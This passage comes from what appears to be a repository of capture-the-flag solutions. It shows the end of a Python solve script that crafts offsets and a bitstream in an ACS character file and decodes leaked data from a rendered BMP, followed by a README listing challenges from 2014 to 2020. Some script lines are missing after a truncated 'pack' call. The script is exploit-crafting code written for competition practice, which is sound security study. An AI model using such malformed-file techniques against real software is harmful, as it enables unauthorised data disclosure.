54 | OFFSET = SIZE + 1+2+2+1+4+4+(acs.header.character_info.localized_info.arr[0].extra.size+1)*2 # imageinfo header + extra string
55 | 
56 | bs ='1' + mk_off(OFFSET) + mk_cnt(SIZE)
57 | bs+='1'*24 # eos
58 | 
59 | db = bitstream_to_bytes(bitstring.BitArray(bin=bs),0,len(bs))
60 | db = b'\x00' + db + b'\xff'*6
61 | 
62 | # make our own image info struct
63 | ii0 = acs.header.image_info.arr[0].body
64 | imginfo = pack(' ')
76 | 
77 | 
78 | def img2bytes(img):
79 |     ''' lookup pixel in palette to get byte '''
80 |     byts = []
81 |     for i in range(0,len(img),3):
82 |         byts.append(bytes(acs.header.character_info.palette).index(img[i:i+3])//4)
83 |     return bytes(byts)
84 | 
85 | with open('f4e13b63-d5b9-456b-a12f-0645543bcaad.bmp', 'rb') as f:
86 |     bmp = f.read()
87 | 
88 | print(img2bytes(bmp[0x36:0x36+3*SIZE]).decode('utf-16'))
89 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | + 2020
 2 |     + plaid
 3 |         + [bonzischeme](./2020/plaid/bonzischeme)
 4 | 
 5 | + 2016
 6 |     + hack.lu
 7 |         + [simplepdf](./2016/hack.lu/simplepdf)
 8 |         + [maze](./2016/hack.lu/maze)
 9 |         + [cryptolocker](./2016/hack.lu/cryptolocker)
10 |         + [dataonly](./2016/hack.lu/dataonly)
11 |         + [cornelius1](./2016/hack.lu/cornelius1)
12 |         + [redacted](./2016/hack.lu/redacted)
13 |     + tum
14 |         + [l1br4ry](./2016/tum/l1br4ry)
15 |     + rc3
16 |         + [cachet](./2016/rc3/cachet)
17 |     + defcon
18 |         + quals
19 |             + [b3s23](./2016/defcon/quals/b3s23)
20 |             + [justintime](./2016/defcon/quals/justintime)
21 | 
22 | + 2015
23 |     + hitcon
24 |         + [risky](./2015/hitcon/risky)
25 |         + [phishingme](./2015/hitcon/phishingme)
26 |     + 9447
27 |         + [dubkey](./2015/9447/dubkey)
28 |         + [hellojoe](./2015/9447/hellojoe)
29 |         + [randbox](./2015/9447/randbox)
30 |         + [fibbed](./2015/9447/fibbed)
31 |     + csaw
32 |         + [bricks-of-gold](./2015/csaw/bricks-of-gold)
33 |         + [meme-shop](./2015/csaw/meme-shop)
34 |     + gits
35 |         + [blockys_revenge](./2015/gits/blockys_revenge)
36 | 
37 | + 2014
38 |     + 9447
39 |         + [hellomike](./2014/9447/hellomike)
40 | 
41 | 


--------------------------------------------------------------------------------